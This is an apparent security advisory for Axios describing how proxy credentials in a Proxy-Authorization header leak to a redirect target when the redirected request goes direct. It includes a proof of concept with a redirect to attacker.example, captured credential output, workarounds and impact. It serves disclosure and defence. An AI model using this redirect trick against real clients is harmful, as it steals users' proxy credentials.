Axios: Proxy-Authorization header leaks to redirect target when proxy is re-evaluated to direct connection

Proof of Concept of Attack

process.env.HTTP_PROXY = 'http://user:[email protected]:8080';
delete process.env.HTTPS_PROXY;

await axios.get('http://attacker.example/start');

Attacker-controlled HTTP endpoint:

HTTP/1.1 302 Found
Location: https://attacker.example/final

Expected result on affected versions:

https://attacker.example/final receives:
Proxy-Authorization: Basic dXNlcjpwYXNz

Expected result on fixed versions:

https://attacker.example/final receives no Proxy-Authorization header

Workarounds

Set maxRedirects: 0 and handle redirects manually.

Avoid using authenticated proxy environment variables for requests to untrusted HTTP origins unless redirect behaviour is controlled.

Ensure proxy environment variables are configured consistently across protocols so redirects do not unexpectedly change from proxied to direct connections.

Summary

Axios' Node.js HTTP adapter can leak proxy credentials to a redirect target origin. When an initial request is sent through an authenticated HTTP proxy, Axios adds a Proxy-Authorization header. On redirect, Axios re-evaluates proxy settings, but if the redirected request no longer uses a proxy, the stale Proxy-Authorization header is not cleared. As a result, the redirect target can receive the proxy credential directly.

This issue affects the Node.js HTTP adapter and can be reproduced when the initial request uses HTTP_PROXY with authentication, redirects are enabled, and the redirected request is resolved to no proxy, such as when HTTPS_PROXY is unset or the redirect target is excluded by NO_PROXY.

Details

In the current implementation:

• setProxy() adds Proxy-Authorization when a proxy with credentials is in use.
• On redirects, Axios re-invokes setProxy() for the redirected request.
• If the redirected URL re-evaluates to "no proxy", setProxy() does not clear the previously added Proxy-Authorization header.
• The redirected request therefore reuses the stale header and sends it to the final origin.

Relevant code locations:

• lib/adapters/http.js
• setProxy() adds Proxy-Authorization
• redirect handling re-applies proxy logic through beforeRedirects.proxy
• no cleanup is performed when the recomputed redirect request no longer uses a proxy

PoC

1. The victim sends GET http://<attacker-site>/start
2. The request goes through a local authenticated corp proxy
3. The attacker-controlled HTTP endpoint returns 302 Location: https://<attacker-site>/final
4. The redirected HTTPS request no longer uses a proxy
5. The attacker-controlled HTTPS endpoint receives the stale Proxy-Authorization header

Observed output:

[corp-proxy] Proxy-Authorization received: Basic dXNlcjpwYXNz
[attacker-http] GET /start
[attacker-https] GET /final
[attacker-https] Proxy-Authorization received: Basic dXNlcjpwYXNz
Leak reproduced: Proxy-Authorization was sent to the attacker HTTPS origin.

This demonstrates that the proxy credential is exposed to the redirect target origin.

Impact

Exposes authenticated proxy credentials to an attacker-controlled origin.